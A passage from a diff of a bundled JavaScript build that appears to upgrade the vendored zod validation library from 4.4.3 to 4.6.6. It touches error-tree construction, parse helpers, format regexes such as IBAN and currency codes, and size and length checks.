(!Object.prototype.hasOwnProperty.call(curr, el)) { + Object.defineProperty(curr, el, { + value: { _errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); } - curr = curr[el]; + const node2 = curr[el]; + if (terminal) { + node2._errors.push(mapper(issue2)); + } + curr = node2; i++; } } } } }; - processError(error51); + processError(error62); return fieldErrors; } -function treeifyError(error51, mapper = (issue2) => issue2.message) { +function treeifyError(error62, mapper = (issue2) => issue2.message) { const result = { errors: [] }; - const processError = (error52, path = []) => { - var _a3, _b; - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + var _a3; + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -48179,11 +48488,18 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { const terminal = i === fullpath.length - 1; if (typeof el === "string") { curr.properties ?? (curr.properties = {}); - (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + if (!Object.prototype.hasOwnProperty.call(curr.properties, el)) { + Object.defineProperty(curr.properties, el, { + value: { errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); + } curr = curr.properties[el]; } else { curr.items ?? (curr.items = []); - (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + (_a3 = curr.items)[el] ?? (_a3[el] = { errors: [] }); curr = curr.items[el]; } if (terminal) { @@ -48194,7 +48510,7 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { } } }; - processError(error51); + processError(error62); return result; } function toDotPath(_path) { @@ -48215,9 +48531,9 @@ function toDotPath(_path) { } return segs.join(""); } -function prettifyError(error51) { +function prettifyError(error62) { const lines = []; - const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + const issues = [...error62.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); for (const issue2 of issues) { lines.push(`\u2716 ${issue2.message}`); if (issue2.path?.length) @@ -48226,32 +48542,41 @@ function prettifyError(error51) { return lines.join("\n"); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js -var _parse = (_Err) => (schema, value, _ctx, _params) => { - const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; - const result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) { - throw new $ZodAsyncError(); - } - if (result.issues.length) { - const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, _params?.callee); - throw e; - } - return result.value; +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/parse.js +function finalizeParams(callee, params) { + return { callee: params?.callee ?? callee, Err: params?.Err }; +} +var _parse = (_Err) => { + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result.issues.length) { + const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parse = /* @__PURE__ */ _parse($ZodRealError); -var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { - const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; - let result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) - result = await result; - if (result.issues.length) { - const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, params?.callee); - throw e; - } - return result.value; +var _parseAsync = (_Err) => { + const fn = async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + if (result.issues.length) { + const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); var _safeParse = (_Err) => (schema, value, _ctx) => { @@ -48260,39 +48585,102 @@ var _safeParse = (_Err) => (schema, value, _ctx) => { if (result instanceof Promise) { throw new $ZodAsyncError(); } - return result.issues.length ? { - success: false, - error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +function failure(Err, issues, ctx) { + let error62; + return { + success: false, + get error() { + if (!error62) { + error62 = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config()))); + issues = void 0; + ctx = void 0; + } + return error62; + }, + set error(e) { + error62 = e; + issues = void 0; + ctx = void 0; + } + }; +} var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; let result = schema._zod.run({ value, issues: [] }, ctx); if (result instanceof Promise) result = await result; - return result.issues.length ? { - success: false, - error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); -var _encode = (_Err) => (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parse(_Err)(schema, value, ctx); +var COMPILE_INVALID = /* @__PURE__ */ Symbol.for("zod.compile.invalid"); +var COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for("zod.compile.fallback"); +var validate = (schema, value, _ctx) => { + const validator = schema._zod.bag.validator; + if (validator !== void 0) { + if (validator(value) !== COMPILE_INVALID) + return true; + if (validator.definite === true && _ctx === void 0) + return false; + } + return validateFallback(schema, value, _ctx); +}; +function validateFallback(schema, value, _ctx) { + const ctx = _ctx ? { ..._ctx, async: false, abortEarly: true } : { async: false, abortEarly: true }; + const fallbackRun = schema._zod.bag.fallbackRun; + let result; + if (fallbackRun) { + ctx[COMPILE_FALLBACK] = true; + result = fallbackRun({ value, issues: [] }, ctx); + } else { + result = schema._zod.run({ value, issues: [] }, ctx); + } + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + return result.issues.length === 0; +} +var validateAsync = async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true, abortEarly: true } : { async: true, abortEarly: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + return result.issues.length === 0; +}; +var _encode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return parse4(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encode2 = /* @__PURE__ */ _encode($ZodRealError); -var _decode = (_Err) => (schema, value, _ctx) => { - return _parse(_Err)(schema, value, _ctx); +var _decode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + return parse4(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decode2 = /* @__PURE__ */ _decode($ZodRealError); -var _encodeAsync = (_Err) => async (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parseAsync(_Err)(schema, value, ctx); +var _encodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return await parseAsync3(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); -var _decodeAsync = (_Err) => async (schema, value, _ctx) => { - return _parseAsync(_Err)(schema, value, _ctx); +var _decodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + return await parseAsync3(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decodeAsync = /* @__PURE__ */ _decodeAsync($ZodRealError); var _safeEncode = (_Err) => (schema, value, _ctx) => { @@ -48314,9 +48702,10 @@ var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { }; var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/regexes.js var regexes_exports = {}; __export(regexes_exports, { + anyString: () => anyString, base64: () => base64, base64url: () => base64url, bigint: () => bigint, @@ -48324,8 +48713,10 @@ __export(regexes_exports, { browserEmail: () => browserEmail, cidrv4: () => cidrv4, cidrv6: () => cidrv6, + creditCard: () => creditCard, cuid: () => cuid, cuid2: () => cuid2, + currencyCode: () => currencyCode, date: () => date, datetime: () => datetime, domain: () => domain, @@ -48339,6 +48730,7 @@ __export(regexes_exports, { hostname: () => hostname, html5Email: () => html5Email, httpProtocol: () => httpProtocol, + iban: () => iban, idnEmail: () => idnEmail, integer: () => integer, ipv4: () => ipv4, @@ -48350,6 +48742,7 @@ __export(regexes_exports, { md5_base64url: () => md5_base64url, md5_hex: () => md5_hex, nanoid: () => nanoid, + nanoidOfLength: () => nanoidOfLength, null: () => _null, number: () => number, rfc5322Email: () => rfc5322Email, @@ -48379,10 +48772,13 @@ __export(regexes_exports, { }); var cuid = /^[cC][0-9a-z]{6,}$/; var cuid2 = /^[0-9a-z]+$/; -var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/; var xid = /^[0-9a-vA-V]{20}$/; var ksuid = /^[A-Za-z0-9]{27}$/; var nanoid = /^[a-zA-Z0-9_-]{21}$/; +function nanoidOfLength(length) { + return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`); +} var duration = /^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; @@ -48394,13 +48790,13 @@ var uuid = (version3) => { var uuid4 = /* @__PURE__ */ uuid(4); var uuid6 = /* @__PURE__ */ uuid(6); var uuid7 = /* @__PURE__ */ uuid(7); -var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var email = /^(?:[A-Za-z0-9_'+\-]+\.)*[A-Za-z0-9_'+\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; var idnEmail = unicodeEmail; var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; -var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +var _emoji = `^(?=[\\s\\S]*[\\p{Extended_Pictographic}\\p{Regional_Indicator}\\u20E3])[\\p{Extended_Pictographic}\\p{Emoji_Component}]+$`; function emoji() { return new RegExp(_emoji, "u"); } @@ -48411,33 +48807,38 @@ var mac = (delimiter) => { return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); }; var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; -var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; -var base64url = /^[A-Za-z0-9_-]*$/; +var base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/; var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; -var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var domain = /^(?=.{1,253}$)([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}$/; var httpProtocol = /^https?$/; var e164 = /^\+[1-9]\d{6,14}$/; +var creditCard = /^\d(?:[ -]?\d){11,18}$/; +var currencyCode = /^(?:AED|AFN|ALL|AMD|AOA|ARS|AUD|AWG|AZN|BAM|BBD|BDT|BHD|BIF|BMD|BND|BOB|BOV|BRL|BSD|BTN|BWP|BYN|BZD|CAD|CDF|CHE|CHF|CHW|CLF|CLP|CNY|COP|COU|CRC|CUP|CVE|CZK|DJF|DKK|DOP|DZD|EGP|ERN|ETB|EUR|FJD|FKP|GBP|GEL|GHS|GIP|GMD|GNF|GTQ|GYD|HKD|HNL|HTG|HUF|IDR|ILS|INR|IQD|IRR|ISK|JMD|JOD|JPY|KES|KGS|KHR|KMF|KPW|KRW|KWD|KYD|KZT|LAK|LBP|LKR|LRD|LSL|LYD|MAD|MDL|MGA|MKD|MMK|MNT|MOP|MRU|MUR|MVR|MWK|MXN|MXV|MYR|MZN|NAD|NGN|NIO|NOK|NPR|NZD|OMR|PAB|PEN|PGK|PHP|PKR|PLN|PYG|QAR|RON|RSD|RUB|RWF|SAR|SBD|SCR|SDG|SEK|SGD|SHP|SLE|SOS|SRD|SSP|STN|SVC|SYP|SZL|THB|TJS|TMT|TND|TOP|TRY|TTD|TWD|TZS|UAH|UGX|USD|USN|UYI|UYU|UYW|UZS|VED|VES|VND|VUV|WST|XAD|XAF|XAG|XAU|XBA|XBB|XBC|XBD|XCD|XCG|XDR|XOF|XPD|XPF|XPT|XSU|XTS|XUA|XXX|YER|ZAR|ZMW|ZWG)$/; +var iban = /^[A-Z]{2}(?!00|01|99)\d{2}[A-Z0-9]{11,30}$/; var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; -var date = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function anchor(source) { + return new RegExp(`^${source}$`); +} +var date = /* @__PURE__ */ anchor(dateSource); function timeSource(args) { const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; - const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\d(?:\\.\\d+)?` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; return regex; } function time(args) { return new RegExp(`^${timeSource(args)}$`); } function datetime(args) { - const time4 = timeSource({ precision: args.precision }); const opts = ["Z"]; - if (args.local) - opts.push(""); if (args.offset) opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); - const timeRegex = `${time4}(?:${opts.join("|")})`; + const qualified = `${timeSource({ precision: args.precision, seconds: true })}(?:${opts.join("|")})`; + const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified; return new RegExp(`^${dateSource}T(?:${timeRegex})$`); } +var anyString = /^[\s\S]{0,}$/; var string = (params) => { const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; return new RegExp(`^${regex}$`); @@ -48473,13 +48874,21 @@ var sha512_hex = /^[0-9a-fA-F]{128}$/; var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/checks.js var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { var _a3; inst._zod ?? (inst._zod = {}); inst._zod.def = def; (_a3 = inst._zod).onattach ?? (_a3.onattach = []); }); +var _whenHasSize = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; +}; +var _whenHasLength = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; +}; var numericOriginMap = { number: "number", bigint: "bigint", @@ -48488,22 +48897,12 @@ var numericOriginMap = { var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; - if (def.value < curr) { - if (def.inclusive) - bag.maximum = def.value; - else - bag.exclusiveMaximum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_big", maximum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -48516,22 +48915,12 @@ var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; - if (def.value > curr) { - if (def.inclusive) - bag.minimum = def.value; - else - bag.exclusiveMinimum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_small", minimum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -48543,14 +48932,13 @@ var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", }); var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - var _a3; - (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); - }); inst._zod.check = (payload) => { if (typeof payload.value !== typeof def.value) throw new Error("Cannot mix number and bigint in multiple_of check."); - const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + const isMultiple = typeof payload.value === "bigint" ? ( + // `value % 0n` throws, and nothing is a multiple of zero — the number branch already fails this way via NaN + def.value !== BigInt(0) && payload.value % def.value === BigInt(0) + ) : floatSafeRemainder(payload.value, def.value) === 0; if (isMultiple) return; payload.issues.push({ @@ -48569,32 +48957,24 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" const isInt = def.format?.includes("int"); const origin = isInt ? "int" : "number"; const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - if (isInt) - bag.pattern = integer; - }); inst._zod.check = (payload) => { - const input = payload.value; + const input2 = payload.value; if (isInt) { - if (!Number.isInteger(input)) { + if (!Number.isInteger(input2)) { payload.issues.push({ expected: origin, format: def.format, code: "invalid_type", continue: false, - input, + input: input2, inst }); return; } - if (!Number.isSafeInteger(input)) { - if (input > 0) { + if (!Number.isSafeInteger(input2)) { + if (input2 > 0) { payload.issues.push({ - input, + input: input2, code: "too_big", maximum: Number.MAX_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -48605,7 +48985,7 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" }); } else { payload.issues.push({ - input, + input: input2, code: "too_small", minimum: Number.MIN_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -48618,10 +48998,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" return; } } - if (input < minimum) { + if (input2 < minimum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -48629,10 +49009,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -48645,18 +49025,12 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { $ZodCheck.init(inst, def); const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - }); inst._zod.check = (payload) => { - const input = payload.value; - if (input < minimum) { + const input2 = payload.value; + if (input2 < minimum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -48664,10 +49038,10 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -48680,26 +49054,18 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 <= def.maximum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -48708,26 +49074,18 @@ var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, d var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 >= def.minimum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -48736,24 +49094,15 @@ var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, d var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.size; - bag.maximum = def.size; - bag.size = def.size; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 === def.size) return; const tooBig = size2 > def.size; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, inclusive: true, exact: true, @@ -48766,27 +49115,20 @@ var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (i var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units > def.maximum ? codePointLength(input2) : units; if (length <= def.maximum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -48795,27 +49137,20 @@ var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (ins var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input2) : units; if (length >= def.minimum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: 